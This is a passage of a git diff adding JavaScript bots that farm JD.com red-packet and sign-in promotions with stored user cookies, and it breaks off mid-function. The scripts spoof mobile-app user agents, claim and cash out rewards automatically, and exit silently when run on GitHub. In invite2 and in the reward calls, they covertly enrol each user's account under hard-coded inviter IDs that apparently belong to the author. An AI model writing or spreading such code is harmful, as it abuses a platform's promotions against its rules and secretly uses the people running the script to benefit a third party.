"https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.head.code === 200) { + $.token = data.head.token; + $.helpToken.push(data.head.token) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + // console.log(`${JSON.stringify(err)}`) + // console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(url, body = {}) { + return { + url: `${JD_API_HOST}/${url}?body=${escape(body)}`, + timeout: 10000, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function taskPostUrl(url) { + return { + url: `${JD_API_HOST}/${url}`, + timeout: 10000, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "content-type": "application/json", + "Host": "lkyl.dianpusoft.cn", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2HFSytEAN99VPmMGZ6V4EYWus1x/index.html", + "token": $.token, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} +function sortByjdBeanNum(a, b) { + return a['jdBeanNum'] - b['jdBeanNum']; +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_speed_redpocke.js b/jd_speed_redpocke.js new file mode 100644 index 0000000..808d377 --- /dev/null +++ b/jd_speed_redpocke.js @@ -0,0 +1,525 @@ +/* +京东极速版红包 +自动提现微信现金 +更新时间:2021-8-2 +活动时间:2021-4-6至2021-5-30 +活动地址:https://prodev.m.jd.com/jdlite/active/31U4T6S4PbcK83HyLPioeCWrD63j/index.html +活动入口:京东极速版-领红包 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东极速版红包 +20 0,22 * * * jd_speed_redpocke.js, tag=京东极速版红包, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 0,22 * * *" script-path=jd_speed_redpocke.js,tag=京东极速版红包 + +===============Surge================= +京东极速版红包 = type=cron,cronexp="20 0,22 * * *",wake-system=1,timeout=3600,script-path=jd_speed_redpocke.js + +============小火箭========= +京东极速版红包 = type=cron,script-path=jd_speed_redpocke.js, cronexpr="20 0,22 * * *", timeout=3600, enable=true +*/ +const $ = new Env('京东极速版红包'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let cookiesArr = [], cookie = '', message; +const linkIdArr = ["7ya6o83WSbNhrbYJqsMfFA"]; +const signLinkId = '9WA12jYGulArzWS7vcrwhw'; +let linkId; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0); +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + console.log(`\n如提示活动火爆,可再执行一次尝试\n`); + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + for (let j = 0; j < linkIdArr.length; j++) { + linkId = linkIdArr[j] + await jsRedPacket() + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function jsRedPacket() { + try { + await invite2(); + await sign();//极速版签到提现 + await reward_query(); + for (let i = 0; i < 3; ++i) { + await redPacket();//开红包 + await $.wait(2000) + } + await getPacketList();//领红包提现 + await signPrizeDetailList(); + await showMsg() + } catch (e) { + $.logErr(e) + } +} + +function showMsg() { + return new Promise(resolve => { + if (message) $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} +async function sign() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apSignIn_day&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.retCode === 0) { + message += `极速版签到提现:签到成功\n`; + console.log(`极速版签到提现:签到成功\n`); + } else { + console.log(`极速版签到提现:签到失败:${data.data.retMessage}\n`); + } + } else { + console.log(`极速版签到提现:签到异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function reward_query() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_query", { + "inviter": ["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], + linkId + }), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function redPacket() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_receive",{"inviter":["HXZ60he5XxG8XNUF2LSrZg"][Math.floor((Math.random() * 1))], linkId}), + async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + if (data.data.received.prizeType !== 1) { + message += `获得${data.data.received.prizeDesc}\n` + console.log(`获得${data.data.received.prizeDesc}`) + } else { + console.log("获得优惠券") + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getPacketList() { + return new Promise(resolve => { + $.get(taskGetUrl("spring_reward_list",{"pageNum":1,"pageSize":100,linkId,"inviter":""}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0) { + for(let item of data.data.items.filter(vo => vo.prizeType===4)){ + if(item.state===0){ + console.log(`去提现${item.amount}微信现金`) + message += `提现${item.amount}微信现金,` + await cashOut(item.id,item.poolBaseId,item.prizeGroupId,item.prizeBaseId) + } + } + } else { + console.log(data.errMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function signPrizeDetailList() { + return new Promise(resolve => { + const body = {"linkId":signLinkId,"serviceName":"dayDaySignGetRedEnvelopeSignService","business":1,"pageSize":20,"page":1}; + const options = { + url: `https://api.m.jd.com`, + body: `functionId=signPrizeDetailList&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.code === 0) { + const list = (data.data.prizeDrawBaseVoPageBean.items || []).filter(vo => vo['prizeType'] === 4 && vo['prizeStatus'] === 0); + for (let code of list) { + console.log(`极速版签到提现,去提现${code['prizeValue']}现金\n`); + message += `极速版签到提现,去提现${code['prizeValue']}微信现金,` + await apCashWithDraw(code['id'], code['poolBaseId'], code['prizeGroupId'], code['prizeBaseId']); + } + } else { + console.log(`极速版签到查询奖品:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到查询奖品:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function apCashWithDraw(id, poolBaseId, prizeGroupId, prizeBaseId) { + return new Promise(resolve => { + const body = { + "linkId": signLinkId, + "businessSource": "DAY_DAY_RED_PACKET_SIGN", + "base": { + "prizeType": 4, + "business": "dayDayRedPacket", + "id": id, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId + } + } + const options = { + url: `https://api.m.jd.com`, + body: `functionId=apCashWithDraw&body=${escape(JSON.stringify(body))}&_t=${+new Date()}&appid=activities_platform`, + headers: { + 'Cookie': cookie, + "Host": "api.m.jd.com", + 'Origin': 'https://daily-redpacket.jd.com', + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": "jdltapp;iPhone;3.3.2;14.5.1network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone13,2;addressid/137923973;hasOCPay/0;appBuild/1047;supportBestPay/0;pv/467.11;apprpd/MyJD_Main;", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9, zh-Hant-CN;q=0.8", + 'Referer': `https://daily-redpacket.jd.com/?activityId=${signLinkId}`, + "Accept-Encoding": "gzip, deflate, br" + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = $.toObj(data); + if (data.code === 0) { + if (data.data.status === "310") { + console.log(`极速版签到提现现金成功!`) + message += `极速版签到提现现金成功!`; + } else { + console.log(`极速版签到提现现金:失败:${JSON.stringify(data)}\n`); + } + } else { + console.log(`极速版签到提现现金:异常:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function cashOut(id,poolBaseId,prizeGroupId,prizeBaseId,) { + let body = { + "businessSource": "SPRING_FESTIVAL_RED_ENVELOPE", + "base": { + "id": id, + "business": null, + "poolBaseId": poolBaseId, + "prizeGroupId": prizeGroupId, + "prizeBaseId": prizeBaseId, + "prizeType": 4 + }, + linkId, + "inviter": "" + } + return new Promise(resolve => { + $.post(taskPostUrl("apCashWithDraw",body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + console.log(`提现零钱结果:${data}`) + data = JSON.parse(data); + if (data.code === 0) { + if (data['data']['status'] === "310") { + console.log(`提现成功!`) + message += `提现成功!\n`; + } else { + console.log(`提现失败:${data['data']['message']}`); + message += `提现失败:${data['data']['message']}`; + } + } else { + console.log(`提现异常:${data['errMsg']}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function invite2() { + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==" + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function taskPostUrl(function_id, body) { + return { + url: `https://api.m.jd.com/`, + body: `appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + // 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'user-agent': "jdltapp;iPhone;3.3.2;14.3;b488010ad24c40885d846e66931abaf532ed26a5;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,8;addressid/2005183373;hasOCPay/0;appBuild/1049;supportBestPay/0;pv/220.46;apprpd/;ref/JDLTSubMainPageViewController;psq/0;ads/;psn/b488010ad24c40885d846e66931abaf532ed26a5|520;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1618673222002|1618673227;adk/;app_device/IOS;pap/JA2020_3112531|3.3.2|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1 ", + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: 